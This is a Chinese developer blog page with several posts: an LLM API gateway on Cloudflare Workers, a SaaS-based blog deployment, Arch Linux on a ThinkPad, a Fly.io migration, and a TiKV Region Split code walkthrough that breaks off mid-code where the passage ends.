使用 Cloudflare Workers 搭建轻量级 LLM API 网关

在这个 LLM 服务商们每天都在进行军备竞赛的时代,对我们这种面向 LLM 编程的程序员来说,最常见的一个痛点莫过于管理一大堆 API Endpoint 和 Secret Key 了,再加上: 不同的服务商 Host 了相同或不同的模型。 在不同的服务商里都撒了币。 不同服务商的 SLA 可能相去甚远。 要在不同的软件里重复配置这些相同的内容。 这一系列问题的解决方案自然是一个统一的 LLM API Gateway,原理上看也并不复杂,只消维护 Model 和 API Provider 之间的映射规则,然后按需转发即可。 {"model": "claude"} ⬇️ LLM API Gateway ⬇️ {"model": "claude-3-7-sonnet-latest"} ⬇️ ⬇️ Anthropic AWS Bedrock 实际上市面上也早已有成熟的开源方案,例如 songquanpeng/one-api。但对于我来说,部署这么一套管理系统显得有些太重了,作为个人使用,似乎不太需要额外的租户管理和账单系统,加之如果想要进行远端部署,产生额外的服务器、域名等维护成本也有些令人抗拒,所以“造轮子”似乎又成了最终的选择。 比起年轻气盛时动不动就想“万丈高楼平地起”地从零开始造轮子,成年人造轮子的哲学则是“应拼尽拼”,能用现成的预制零件快速拼出来的轮子也是好轮子——于是开始整理造这么一个私人 LLM API Gateway 的基本要求: 易于维护,部署成本要尽可能的低,最好能用现成的 SaaS。 开箱即用,使用和配置方式简单,即暴露一个统一的 API 接口,可以自由配置模型的转发映射。 安全,有基本的鉴权以防止滥用。 通用,适配主流的 LLM API Provider 格式。 首先,作为一个几乎无状态的 API Gateway,最核心的逻辑就是转发 HTTP 请求,所以立马出现在选品单上的就是 Cloudflare Workers,其提供的 Severless 应用部署非常适合写这种 Proxy,再加上配套的 Cloudflare Workers KV,转发配置需要持久化存储的需求也被满足了。于是我基于官方的 Rust SDK worker-rs 实现了 one-united,仅需简单的配置,就可以把一个轻量级的 LLM API Gateway 部署到 Cloudflare Workers 上。 部署方式 因为官方提供了非常齐全的配套,整个部署过程需要做的准备仅需提前安装上较新版本的 Rust 和 npm 即可。 首先把项目拉到本地,然后开始编辑我们的 wrangler.toml。 git clone https://github.com/one-united/one-united.git cp wrangler.example.toml wrangler.toml 其实这里要做的就是创建一个 KV namespace,一条命令就能搞定: npx wrangler kv:namespace create config 运行成功后把输出中提供的 kv_namespaces 部分粘贴到 wrangler.toml 文件中即可,格式类似于: [[kv_namespaces]] binding = "config" id = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" 然后就是用最后一条命令完成最终部署: npx wrangler deploy 然后你的服务就跑在 https://<YOUR_WORKER>.<YOUR_SUBDOMAIN>.workers.dev 上可供访问了! 配置文件 刚部署好的 one-united 自然是没有配置任何模型转发的,项目里提供了一个规则模板,其格式还是比较直观的,我以此为例展示一个我自己的使用场景,来看看具体如何配置自己的模型转发。 我最常用 LLM 的一个场景就是翻译,例如 Bob 的 AI 翻译服务。 可以看到我定义了一个名为 translator 的模型,其转发逻辑的配置如下: rules: - model: translator providers: - identifier: oh-my-gpt models: - gpt-4o-mini - identifier: openrouter models: - openai/gpt-4o-mini - identifier: dailyio models: - gpt-4o-mini - meta-llama/Llama-3.3-70B-Instruct-Turbo 不难发现对于翻译服务,我使用的都是主流模型中 Token 价格较低的模型,如此一来在使用较为频繁的翻译场景下,可以在保证质量的前提下尽可能节省 Token。providers 的配置字段都比较直接,在此不表,按需添加和配置自己的提供商即可。 目前 one-united 还没有图形化界面,所以更新配置需要用 curl 直接把 config.json 扔给接口: curl -X POST https://<YOUR_WORKER>.<YOUR_SUBDOMAIN>.workers.dev/config \ -H "Content-Type: application/yaml" \ --data-binary @config.yaml 一些提升体验的功能 在简单转发的基础上,我也根据平时使用的一些经验和习惯加了一些必要的功能和优化。 设置 API KEY 虽然说整个流程属于私人部署,但也不免存在接口泄漏的可能,避免被他人滥用导致 Token 额度被迅速消耗完,可以给自己的 Gateway 也设置上 API Key。这里有两个操作办法, 一个是直接通过命令行设置 ONE_API_KEY。 npx wrangler secret put ONE_API_KEY 也可以到 Cloudflare 的 Workers 后台界面添加: 此后所有的 curl 请求都可以带上 -H "Authorization: Bearer $ONE_API_KEY" 进行鉴权了,同样,在类似 Chat Bot 的 API 配置中,也需要填上 $ONE_API_KEY 方可正常调用。 负载均衡 当同一个模型名配置了多个不同的 (Provider, Model) 映射时,为了保证尽可能好的延迟表现,每次会通过负载均衡机制在不同映射间进行切换,并记录每次请求的耗时,最终尽可能地选择转发至延迟较低的提供商。 目前这个策略还比较简陋,我还在考虑是否要添加诸如基于权重或者 Token 成本的负载均衡策略。 常用的接口 one-united 一共提供了以下几个接口: WorkerRouter::new() .get_async("/config", get_config) .post_async("/config", save_config) .get_async("/stats", get_stats) .get_async("/v1/models", get_models) .post_async("/v1/chat/completions", route_chat_completions) .run(req, env) .await 其中 /v1/models 和 /v1/chat/completions 都是 OpenAI 兼容的常用接口,后者不用说,就是最常用的 LLM 使用接入口。前者则是 List Models 接口,对于一些提供了自动获取模型信息功能的软件来说,可以方便的通过这个接口一键添加所有当前可用的模型信息: 前面一个小节提到过 one-united 存在负载均衡机制,通过 /stats 这个接口可以看到当前所请求 Workers 实例内的延迟统计信息,方便判断不同服务商的延迟表现如何: ❯ curl -s -H "Authorization: Bearer $ONE_API_KEY" https://<YOUR_WORKER>.<YOUR_SUBDOMAIN>.workers.dev/stats | jq { "created_at": "2025-03-06T04:22:13.862Z", "hash": "362c5ee09afe8b5c82f132161496c00072ce850e3a39d204315bf823e8311de8", "latency": [ { "identifier": "cf-openrouter", "model": "anthropic/claude-3.7-sonnet", "ms": 1473 } ], "lifetime": "3m 42s 685ms" } OpenRouter 统计适配 如果你搭配 OpenRouter 使用的话,可以看到在 OpenRouter 的 Activity 界面上是可以识别到 one-united 转发来的请求标识的,方便掌握具体的用量。 这个也是根据 OpenRouter 官方的文档加的请求识别头来实现的: // "HTTP-Referer" and "X-Title" will be used by service like OpenRouter to identify the request. headers.set("HTTP-Referer", "https://github.com/JmPotato/one-united")?; headers.set("X-Title", "one-united")?; Bypass Rule 如果你想 Bypass 掉规则,直接请求对应 Provider 的某个模型,可以使用 model@@provider_identifier 这个语法,例如直接请求配置中来自 OpenRouter 的 GPT-4o mini:openai/gpt-4o-mini@@openrouter,请求就会直接发给 OpenRouter,而不会经过负载均衡中转,指哪打哪。

2025/3/4
articleCard.readMore

如何利用全 SaaS 阵容从零免费搭建一个博客?

即便已经几乎无人再会把“自搭自写”博客的 Programmer 称为 Geek,但我相信拥有一个 Self-Hosted Blog 依然是众多 Programmer 的普遍追求。虽然 GitHub Pages 和 Jekyll 的组合放到现在也依然不算过时,也不失简便,但考虑到如今各类 SaaS 服务层出不穷,那么在 2024 年的今天,我们能否利用全 SaaS 阵容从零免费搭建一个博客? rsomhaP 作为博客程序 关注过我博客的朋友可能会知道在过去的十余载里,Pomash 是我自己拿 Python 写成,也是我自己一直在用的博客程序。不过在使用和维护的过程中我也逐渐发现这个几乎写成于十年前的博客程序似乎有点“过时”了,整理过后,我为造轮子另起炉灶罗列了几点冠冕堂皇的理由: Python 已经不再是我熟悉的语言,诸多语言特性和最佳实践我已经不甚了解。 虽然 Pomash 是个很简单的博客引擎,但从代码中也不难看出我曾经“笔法”的稚嫩——有很多不忍直视的代码。 用一个 SQLite 文件存储我数十年以来的博客文章听起来一点也不高可用。 用 Rust 重写 XXX 是流量密码。 于是乎作为一次具有某种“致敬”意味的行为艺术,我用 Rust 重写了 Pomash,并用我很喜欢的命名法给它起了一个新名字: 'r{}'.format(''.join(sorted('Pomash'))[::-1]) == 'rsomhaP' somhaP 是 Pomash 重排后的字符串,加一个字母 r 在开头拼接成 rs 意指用 Rust 重写而成——rsomhaP。 为了全面拥抱 SaaS 服务简化实现与部署,在造轮子的同时“反造轮子”,我在重写的时候带着这么几个原则: 依然是 Markdown 友好。 保持单体程序,拒绝前后端分离(其实是我不会写前端)。 简洁且易读的样式。 尽可能使用 SaaS 友好的方式去设计部署方式。 所以最后,这篇文章也孕育而生,让我们看看要跑起来一个 rsomhaP 的博客程序,我们需要哪些步骤。 TiDB Serverless 作为数据库 rsomhaP 抛弃了 SQLite 作为本地数据存储,直接使用现在几乎烂大街的 DB SaaS,目前还只支持 MySQL-compatible 的数据库服务,后续也许会考虑支持 PostgreSQL。 这里我自然选择了利益相关的 TiDB Serverless 作为后端数据库 SaaS,注册并创建好集群,拿到数据库的 Host 等参数即可,没有任何额外的步骤。 免费额度的集群规格对我们来说绰绰有余 MySQL 相关的配置直接写到 rsomhaP 的配置文件里或用环境变量 MYSQL_CONNECTION_URL 均可。 [mysql] # If `connection_url` is set, other connection-related configs will be ignored. # connection_url = "mysql://root:password@127.0.0.1:4000/rsomhaP" username = "root" password = "password" host = "127.0.0.1" port = 4000 database = "rsomhaP" 唯一需要注意的点是这里需要提前创建好一个 database: CREATE DATABASE rsomhaP; 除了天然的享受到了 TiDB 作为一个分布式数据库的优势,我们也可以在 TiDB Cloud 的面板上自动设置自己数据库的备份时间与频率,为自己智慧的结晶多上一份保险。 Fly.io 作为部署机器 数据库有了,那么我们至少需要一个 Host 或者说机器来实际部署运行我们的 rsomhaP 程序,除了直接去 Vultr 这类地方买虚拟云主机,我们还有一个更“小而美”的选择:Fly.io。 其实我曾经也写过一篇关于它的博客:Fly.io 初体验之博客搬家。彼时我把 Pomash 迁移了上去,整个体验也非常的丝滑,所以在这里依旧沿用了之前的选择。 我为 rsomhaP 直接写好了一份可以用于 Fly.io 部署的 Dockerfile 和 fly.toml,所以你需要做的仅仅是安装好 flyctl,按自己的配置改好 config.toml 然后在 rsomhaP 的目录下运行: fly deploy --config fly.toml 这里如果你是第一次用 Fly.io,那么直接运行可能会提示你没有 rsomhap 这个 App。你可以选择去 Fly.io 的网页端 Dashboard 手动创建,也可以直接在命令行里创建: fly apps create rsomhap 紧接着一路按照提示进行配置即可,这里有两个地方需要注意一下。 首先是为了保证和数据库服务的连通性,我在部署时选择了和 TiDB Serverless 集群位于相同地区的日本 Region,可以在 fly.toml 里这样配置: app = "rsomhap" primary_region = "nrt" 对于全部的可用 Region,可以参考这篇官方文档。 部署完成后便可以通过形如 https://app-name.fly.dev 的 Hostname 来访问你刚刚部署好的 rsomhaP 了,Fly.io 当然也支持接入自定义域名和配置免费的 SSL 证书,均可通过网页 Dashboard 或 flyctl 做到,参考。 Cloudflare R2 作为图床 恭喜你,上面哪些步骤全部完成后,你就已经拥有一个可以访问和写作的博客了🎉 但要想进行图文写作,我们还差这最后一步“图”,由于 rsomhaP 本身并不支持上传和存储图片,所以拥有一个稳定的图床服务是有必要的,这里我们可以用赛博大基建 Cloudflare R2 的对象存储作为我们的图床设施,具体设置方法可以参考这篇文章,写得很好很详细,我就不再次展开了:从零开始搭建你的免费图床系统(Cloudflare R2 + WebP Cloud + PicGo)。 WebP Cloud Services 作为图床代理 有了图床的“床”,我们还可以更精进一步,用 WebP Cloud Services 这个图片代理 SaaS 来实现更多的功能: 不改变画质的情况下进行图片体积压缩,并作为图床缓存,加快博客的加载速度。 隐私擦除,添加水印等自动的图片二次处理。 自定义 Header 来实现更安全的图床访问。 同样推荐大家参考上面那篇文章的作者: 从零开始搭建你的免费图床系统(Cloudflare R2 + WebP Cloud + PicGo) 使用 WebP Cloud 与 Cloudflare WAF 为你的图床添加隐私和版权保护 结语 至此,使用 rsomhaP 搭配一众免费 SaaS 的博客部署就完成了,你可以继续浏览本站或者去 rsomhaP 的 GitHub 界面了解更多信息,其实关于 rsomhaP 的开发过程也有很多可以分享的点——例如 axum 库的使用,Markdown 渲染的实现等,待我挖个坑日后再填。

2024/8/23
articleCard.readMore

ThinkPad X1 Carbon x Arch Linux

是的,作为一个从 2017 年起就再也没用过除 Mac 以外笔电的人,时隔 6 年,我购入了这款联想的 ThinkPad X1 Carbon Gen 11。购买的动机其实很简单,那就是反抗 Apple 暴政 macOS 实在用腻了,迫切需要消费折腾带来的新鲜感。 Why Arch Linux 虽然我或多或少对 Ubuntu 和 Debian 这种相对而言更流行的 Linux 发行版比较熟悉,但既然有了“折腾“的初心,所以更希望尝试一些新东西,早有耳闻 Arch Linux 的"简洁主义"和非常 KISS (Keep It Simple and Stupid) 的设计原则,再加上前期采购设备前调研时惊叹于 ArchWiki 的完整和详尽,所以最终决定借此机会直接上手体验一下,看能不能作为自己主力机的主力 OS。 Installing & Configuring 安装的时候我基本上只参考了这两个指南: https://github.com/nakanomikuorg/arch-guide https://github.com/ArchLinuxStudio/ArchLinuxTutorial 前者基于后者进行了一些简略的删改,更适合新手,但也导致里面的有一些描述语焉不详,如果你对 Linux 本身或者 OS 原理不太了解的话,需要谨慎操作,尤其需要注意硬盘分区和引导安装之类的步骤。 目前主流硬件厂商对 Linux 的支持都很完善了,所以安装、配置和使用过程都会比较顺利,但最好还是在开始前提前了解 Arch Linux 对你手上设备的支持情况,例如我这台 ThinkPad X1 Carbon (Gen 11) 的兼容性,可以看到除了前置摄像头外,其他大部分硬件在使用上都没什么问题。 Troubleshooting 大多数我遇到的安装和配置问题在 Google 后都有比较直接的解决方案(其中大部分最终都指向了 ArchWiki,可见其内容之靠谱和丰富),这里罗列一下我在配置过程中遇到的一些比较独特的问题。 AUR 安装旧版本 GCC 速度很慢 本来想编译 TiKV “烤”一下机,但由于 Arch Linux 自带的 GCC 版本太新了,编译 RocksDB 时各种 Warning 以及 Error,于是需要安装一个旧版本 GCC 来用。考察了一圈 TiKV 和 RocksDB 的相关 Issue 和 PR 后决定装 GCC 9。 yay -S gcc9 殊不知这一行命令敲下去,由于 AUR 的包需要跑 PKGBUILD 来手动编译后再安装,这一编就是好几个小时,最终还没完成就被我遭不住地杀掉了。也是根据 ArchWiki 的建议,我做了这俩操作来加速整个过程: nproc # 看一下你设备支持的最大进程数,例如我这里是 16 MAKEFLAGS='-j16' BUILDDIR=/tmp/makepkg yay -S gcc9 参数解释: -j16 用来指定 make 的并行 Job 数量,一般都等于 CPU 最大支持的线程数量 BUILDDIR 用来指定编译目录,扔到 tmpfs 里来充分利用内存加速编译 方子很好,原本数小时的编译时间不到半个小时就完成了。 开启 Secure Boot 由于拿到电脑的时候自带是 Windows 11 系统,所以在开机初始化配置时我跟随着引导开启了 Windows Hello 的面部及 PIN 码识别,但因为随后安装 Arch Linux 时关闭了 Secure Boot,待我在安装结束后再次进入 Windows 11,发现由于之前设置 Windows Hello 有 TPM 的参与,在关闭 Secure Boot 后面部识别以及 PIN 码就都无法使用了。 使用 sbctl 签名内核与启动项 要解决的话思路也很直接,如果能让 Arch Linux 在开启了 Secure Boot 的情况下也能正确引导启动,那就最好了,经过一番搜寻,我在 reddit 的 archlinux 社区发现一篇教程来使用 sbctl 这个工具对引导文件进行签名认证。跟着其中的操作一番尝试后,再次启动 GRUB 发现并不能正常引导启动,提示内核加载错误。经过一番搜寻,在 ArchWiki 中对 sbctl 进行介绍的部分看到这样一段: 现在签署所有的未被签署的文件。通常是内核与引导加载程序需要被签署。比如: sbctl sign -s /boot/vmlinuz-linux sbctl sign -s /boot/EFI/BOOT/BOOTX64.EFI 看起来大概率是因为没有对 vmlinuz-linux 内核引导文件签名导致的,重新进行上述的操作再次尝试开启 Secure Boot 启动,成功进入 Arch Linux,完成对 Secure Boot 的配置。 对 vmlinuz-linux 进行签名 重新设置 Windows Hello 由于 sbctl 这个工具不一定能在所有硬件上都可行,所以如果你在上面的操作里失败了,但又想在不开启 Secure Boot 的前提下使用面孔/指纹解锁,其实也是有办法的。根据 Windows 官方的文档,我们会发现 Windows Hello 并不依赖 TPM 去工作。 Windows 官方文档 所以只需要在关闭了 Secure Boot 的前提下重新设置一遍 Windows Hello 就可以在不使用 TPM 的前提下正常使用面孔/指纹解锁了。 蓝牙设备无法唤醒 Arch Linux 这个其实解决方法很简单,遵循 ArchWiki 中蓝牙这个界面下“从挂起中唤醒”这一节的指引操作即可。但我在第一步就遇到了问题,ThinkPad X1 Carbon 的蓝牙设备并没有那么明显地在 lsusb 后被展示出来: ❯ lsusb Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 003 Device 006: ID 30c9:0052 Luxvisions Innotech Limited Integrated RGB Camera Bus 003 Device 005: ID 06cb:00fc Synaptics, Inc.   Bus 003 Device 003: ID 2c7c:0310 Quectel Wireless Solutions Co., Ltd. Quectel EM05-CN Bus 003 Device 004: ID 0451:82ff Texas Instruments, Inc.   Bus 003 Device 002: ID 0451:8442 Texas Instruments, Inc.   Bus 003 Device 007: ID 8087:0033 Intel Corp.   Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 002: ID 0451:8440 Texas Instruments, Inc.   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub 我在一番搜索后,终于在 lsusb -v 的输出中看到了 Bluetooth 等字样归属于 003 这个 Device,成功拿到了 idVendor 和 idProduct 进行后续的配置。 Bus 003 Device 007: ID 8087:0033 Intel Corp. ...    Interface Descriptor:      bLength                 9      bDescriptorType         4      bInterfaceNumber        0      bAlternateSetting       0      bNumEndpoints           3      bInterfaceClass       224 Wireless      bInterfaceSubClass      1 Radio Frequency      bInterfaceProtocol      1 Bluetooth

2023/8/7
articleCard.readMore

Fly.io 初体验之博客搬家

之前博客一直部署在 Vultr 每个月 $5 的日本节点上,眼看下个月就又要余额归零了,再加上一直以来整个 VM 上都只跑了 Pomash 这一个程序,算是有点浪费,所以在考虑要不要拥抱一下新时代,找一个做这种小应用部署的 SaaS,把博客程序迁移上去。目前 Pomash 在虚拟机上的搭建方式也十分老手艺:Supervisor 做进程管理,Nginx 做转发。要是能一劳永逸,干掉这些我毕生所学的建站知识,那更是再好不过了。 可能有的朋友看到这里会这样问:为啥不直接找个博客托管平台?为啥不直接用静态博客?答案也很简单,Pomash 算是我初入编程殿堂的启蒙之作,这古老的 Python Tornado Web 框架和前后端不分离的架构,以及谈得上羞耻的代码质量都保留着我那一份青春的回忆。从 14 年的第一个 Commit 算起,到今天(2023-01-31)刚好是 Pomash 的 9 周年,慢慢更新到现在,它绝对不是最好用的博客系统,但一定是我最喜欢的。 Fly.io 是什么 Fly.io 其实是跟同事吃饭摆龙门阵的时候了解到的一个容器化部署平台,整个产品都透露出一股小而美的气质,其提供的服务也非常简单:帮助用户用容器化的方式部署应用。人话版本就是每个人都可以讲 5 分钟脱口秀通过写一个 Dockerfile 的工作量(有些情况下甚至连 Dockerfile 都可以不用准备)快速部署可访问的应用。官方文档上所称每个账号的免费额度如下: Up to 3 shared-cpu-1x 256mb VMs 3GB persistent volume storage (total) 160GB outbound data transfer 对于我这个无人问津的博客来说,使用起来应该是绰绰有余了,故而直接开整。 flyctl 所有的部署运维操作都可以通过官方提供的命令行工具 flyctl 来完成,整个交互也极为简单,在完成 fly auth login 之后,即可开始部署应用了。 flyctl 的使用极为傻瓜,对于比较简单的项目,例如有 main.go 的 Go 项目,只需要调用 flyctl launch,它会扫描你的源代码结构,自动帮你生成 Dockerfile(其他语言的项目也类似),如果你只是用 Go 的标准库实现了一个简单跑在 8080 端口上的 HTTP 程序,基本上这一个命令一路 Y 过去就直接部署成功可以在浏览器里访问了。但是对于 Pomash 来说,它还需要一点额外的步骤,所以我选择自己准备一个 Dockerfile。 准备 Dockerfile Pomash 是一个 Python Web 程序,运行起来很简单:python3 run.py 就完事了。不过不知道为什么,当年的我在实现的时候居然决定在博客跑起来前需要先手动生成 SQLite 的数据库文件,所以还得多来一步,再加上 pip 的依赖安装啥的,一点也不复杂的 Dockerfile 最后写出来长这样: # syntax=docker/dockerfile:1 FROM python:3.8-slim-buster WORKDIR /pomash_deployment COPY requirements.txt requirements.txt RUN pip3 install -r requirements.txt COPY . . RUN python3 init_db.py CMD ["python3", "run.py" , "--port=8080"] 接下来的操作就很简单了,flyctl deploy 然后根据提示输入 Y or N 就可以完成部署,我的应用名设置的是 pomash,所以最后部署后的地址就是 https://pomash.fly.dev。 IPv4 地址分配 最后一步就是域名绑定了。由于 IPv4 枯竭问题,fly.io 官方选择了省着分配 IPv4 地址,只要你的应用部署时使用了默认的 80 和 443 这两个 HTTP 端口,那么就不会分配到独占的 IPv4 地址,但是每部署一个应用 fly.io 都会为你分配一个独占的公网 IPv6 地址。虽然用 CNAME 记录的方式可以把自己的域名跳转到官方给的 URL 上来解决 IPv4 的访问问题,但毕竟相比于 A 记录有一定限制,所以为了让家里还没有 IPv6 的朋友能够打开我的博客,我们可以手动分配一个独占的 IPv4 地址:flyctl ips allocate-v4。需要注意的是每个账户都只有一个 Dedicated IPv4 的限额,如果你想拥有 2 个及以上的公网独占 IPv4 地址的话,就只能充钱了,价格是 $2 一个月。 完成 DNS 的设置后来到网页的 Dashboard 界面,手动添加对应域名后,fly.io 会通过 Let's Encrypt 自动帮你配置免费的 SSL 证书加密。 当然,一切操作也都可以通过命令行完成,参考官方文档。 写在最后 整个从注册到最后部署成功的过程是比较丝滑的,几乎没有遇到任何问题,官方文档也写的十分详尽,基本上我遇到的所有问题都可以在内找到详细的解决办法(例如单应用内的多进程部署),可见 fly.io 是很懂面向用户群体痛点所在的。值得一提的是,最初同事给我讲到 fly.io 倒不是因为他们的产品,而是比较有趣的招聘方式。通过他们官网的招聘流程介绍,可以看到他们的“面试”过程很有趣,这里的面试打了引号是因为他们其实并没有面试这一步,而是通过做 2 到 3 个挑战题的方式第一阶段通关后直接加入他们的公司 Slack 和他们的工程师工作一天,一切顺利的话就会给你发 Offer。从这样一个细节来看,除去好用的产品外,这也真的是一家有趣的公司。

2023/1/31
articleCard.readMore

TiKV Region Split 全流程分析

分裂可以说是 Region 生命周期中最为重要的一步,如同细胞一般,分裂是 Region 被创造并持续增多的唯一方式。 本文将介绍以下内容: Region Split 是由谁触发的。 Region Split 是如何计算 Split Key 的。 Region Split 最终是如何执行的。 我们先来看一个 Region Split 过程的大致流程: TiKV/PD/TiDB 触发 Region Split 事件。 Raftstore 处理 Region Split 事件,计算 Split Key。 Raftstore 执行 Split。 Region Split 的触发方式 我们可以将 Region 的分裂从动机上分为两类: 内部机制导致的 Region 被动分裂(例如 Region 的大小超过阈值,Load Base Split 被触发等) 人工手段对 Region 进行主动分裂(建表或手动 Split Region) TiKV 触发分裂 因为 Region 是 TiKV 的逻辑存储单元,Region 最基本的分裂方式也是来源于 TiKV 的控制。 定期检查 TiKV 默认会 10s 进行一次 Region 的分裂检查,此举由 Raft 状态机驱动,定期 Tick 进行触发。函数名称为 PeerFsmDelegate::on_split_region_check_tick。 因为 Region Split 的行为后续会作为一条 Raft log 在副本间进行同步,所以该函数会首先检查当前 Region peer 是否为 leader,以避免进行无用的检查。 if !self.fsm.peer.is_leader() { return; } if self.fsm.peer.may_skip_split_check && self.fsm.peer.compaction_declined_bytes < self.ctx.cfg.region_split_check_diff().0 && self.fsm.peer.size_diff_hint < self.ctx.cfg.region_split_check_diff().0 { return; } 紧接着 Leader check 之后,就是对 Split 必要性的检查,为了避免过多的 Split check,我们设置了以下 3 个条件来进行过滤: Region peer 的 may_skip_split_check flag 是否为 True Region peer 的 compaction_declined_bytes 是否小于 region-split-check-diff 阈值 Region peer 的 size_diff_hint 是否小于 region-split-check-diff 阈值 may_skip_split_check 的 flag 会在必要时被设置为 False 来确保 Split 检查会尽可能地被执行(例如 TiKV 刚刚启动时)。compaction_declined_bytes 和 size_diff_hint 均是对 Region 大小变化的增量统计(分别统计自 Compaction 数据和 Apply 数据的过程),它们在此隐含了这样一个条件:只有 Region 的大小变化超过 region-split-check-diff 后才需要进行分裂检查(这个配置的默认值是 region-split-size 的 1/16,即 96 / 16 = 6 MB)。 而后就是一些特殊逻辑的检查,在此不进一步展开,他们包括: 当前是否有堆积未完成的 Split 任务 当前是否处于 Lightning/BR 的导入过程中 当前是否正在生成 Snapshot 需要注意此阶段的检查仅仅是触发了 Region Split 的事件,具体能否分裂以及如何分裂还取决于后续的 Split 触发过程。 Load Base Split TiKV 还有一个会触发 Region Split 的功能来自于 Load Base Split。其核心代码位于 AutoSplitController::flush。StatsMonitor 会收集读请求的统计信息,包括请求的数目,请求读取的流量以及读取的 Key Range 等。对于 QPS 或 Byte 满足 qps_threshold 和 byte_threshold 的 Region,则会在之前收集的 Key Range 基础上对 Key 进行采样,选择一个切分后左右 Region 上的请求数量最为均衡的 Key 作为切分点进行切分。 PD 触发分裂 PD 也可以进行分裂的触发。此举可以通过以下方式进行: 调用 /regions/split 的 HTTP API 触发 通过 pd-ctl 创建 Operator 触发 通过调用 gRPC 接口 SplitRegions/SplitAndScatterRegions 来触发 其中,pd-ctl 作为主要面向用户的操作,方式如下: >> operator add split-region 1 --policy=approximate // 将 Region 1 对半拆分成两个 Region,基于粗略估计值 >> operator add split-region 1 --policy=scan // 将 Region 1 对半拆分成两个 Region,基于精确扫描值 上述操作的本质都是创建一个 Split 的 Operator 并下发给对应 Region。具体的 PD 侧代码可以通过 RegionSplitter::SplitRegions 函数进行自上而下的研究,在此不多做表述。 Operator 通过 Region 心跳下发给 TiKV 后,TiKV 会根据下发的 Split 任务类型去创建对应的事件,具体代码在此。 if resp.has_split_region() { let mut split_region = resp.take_split_region(); info!("try to split"; "region_id" => region_id, "region_epoch" => ?epoch); let msg = if split_region.get_policy() == pdpb::CheckPolicy::Usekey { CasualMessage::SplitRegion { region_epoch: epoch, split_keys: split_region.take_keys().into(), callback: Callback::None, source: "pd".into(), } } else { CasualMessage::HalfSplitRegion { region_epoch: epoch, policy: split_region.get_policy(), source: "pd", cb: Callback::None, } }; if let Err(e) = router.send(region_id, PeerMsg::CasualMessage(msg)) { error!("send halfsplit request failed"; "region_id" => region_id, "err" => ?e); } } 可以看到根据不同的 Split 方式,所创建的事件也不同——若是给定了分裂点 Key 则会直接下发 CasualMessage::SplitRegion 事件,否则根据不同的分裂策略创建一个 CasualMessage::HalfSplitRegion 事件,期以对 Region 进行对半分。这里的策略主要分为 Scan 和 Approximate 两类,具体的区别会在后文中进行介绍。 TiDB 触发分裂 DDL 在建表或添加分区时,TiDB 会在 DDL 阶段对表的 Region 进行预切分,为每个表或分区创建单独的 Region,用于避免发生大量建表和写入造成的热点问题。此举也是通过调用 PD 的 Split 接口达成的(早期版本是 TiDB 直接下发给 TiKV,现已废弃)。具体的代码入口在 ddl::preSplitAndScatter 接口,你可以通过该方法的调用情况来看不同的 Split Table 发生在何时何处。 SQL 除了建表时自动为每个表切分出的一个 Region,如果在单表内部存在写入热点,我们也可以通过 SQL 来手动 Split Region。这个原理其实和上述的 DDL 过程相同,均是调用统一的 SplitRegions 接口来进行 Split 任务的下发。 具体的 SQL 语法可以参考官方文档:Split Region 使用文档。 其他 上面只阐述了 3 大组件的常见 Region Split 触发流程,事实上还有很多其他机制会触发 Region Split,例如 Lightning/BR 这样的工具导入数据前也会对 Region 进行预切分和打散,以求导入后数据的均衡。tikv-ctl 也可以触发 Region 的 Split。 Region Split Key 的计算方式 以上述方式触发 Region Split 事件后,具体的 Split 的 Key 可以以多种方式和维度被计算出来。例如通过精确的 Scan 扫描来确定 Region 大小上的中点进行分裂,或通过指定的 Key 直接进行分裂等,不同的方式往往用于不同的场景,具体原理如下。 Coprocessor 此 Coprocessor 非 TiKV 中用于下推 SQL 执行的 Coprocessor,而是 raftstore 代码中的一个概念。其主要作用相当于外挂在 TiKV 的 Raft 层上的一个协处理工具集合,用于观测和处理与 Raft 相关的周边事件。SplitChecker 就是其中之一,用于接受,处理和下发与 Region Split 有关的事件。 /// SplitChecker is invoked during a split check scan, and decides to use /// which keys to split a region. pub trait SplitChecker<E> { /// Hook to call for every kv scanned during split. /// /// Return true to abort scan early. fn on_kv(&mut self, _: &mut ObserverContext<'_>, _: &KeyEntry) -> bool { false } /// Get the desired split keys. fn split_keys(&mut self) -> Vec<Vec<u8>>; /// Get approximate split keys without scan. fn approximate_split_keys(&mut self, _: &Region, _: &E) -> Result<Vec<Vec<u8>>> { Ok(vec![]) } /// Get split policy. fn policy(&self) -> CheckPolicy; } 一个 SplitChecker 包含 4 个方法,分别是: on_kv,在使用 Scan 方式时,用于在 Iterator 扫描 Key 的过程中接受 Key,并在内部维护对应的状态来实现不同的分裂方式。 split_keys,在完成扫描后通过此方法来拿到最终的 Split Key 结果。 approximate_split_keys,在使用 Approximate 方式时,不进行 Scan 而直接拿到 Split Key 结果 policy,返回当前的 Split 检查策略,有 Scan/Approximate 两种方式。 对这 4 个方法不同的实现也就决定了不同的分裂方式,下面我们分别介绍 TiKV 内部支持的所有不同的分裂方式。 Half HalfCheckObserver 实现了对 Region 的 Sizie 对半切策略,在 Scan 模式下,为了找到一个 Region 内 Size 维度上的中点,把所有的 Key 都记录下来显然是不合理的,这样可能会占用大量的内存。取而代之的方式是根据配置计算出一个最小的 Size 单位 n MB,计算函数名为 half_split_bucket_size 通过将 region_max_size 除以 BUCKET_NUMBER_LIMIT(常量,值为 1024),计算出一个 Bucket 大小,最小为 1 MB,最大为 512 MB。 fn half_split_bucket_size(region_max_size: u64) -> u64 { let mut half_split_bucket_size = region_max_size / BUCKET_NUMBER_LIMIT as u64; let bucket_size_limit = ReadableSize::mb(BUCKET_SIZE_LIMIT_MB).0; if half_split_bucket_size == 0 { half_split_bucket_size = 1; } else if half_split_bucket_size > bucket_size_limit { half_split_bucket_size = bucket_size_limit; } half_split_bucket_size } 在后续的扫描过程中,仅在每扫描过 n MB 大小后才记录下当前的 Key,这样可以通过牺牲一定的精度换来了较少的内存占用。 fn on_kv(&mut self, _: &mut ObserverContext<'_>, entry: &KeyEntry) -> bool { if self.buckets.is_empty() || self.cur_bucket_size >= self.each_bucket_size { self.buckets.push(entry.key().to_vec()); self.cur_bucket_size = 0; } self.cur_bucket_size += entry.entry_size() as u64; false } fn split_keys(&mut self) -> Vec<Vec<u8>> { let mid = self.buckets.len() / 2; if mid == 0 { vec![] } else { let data_key = 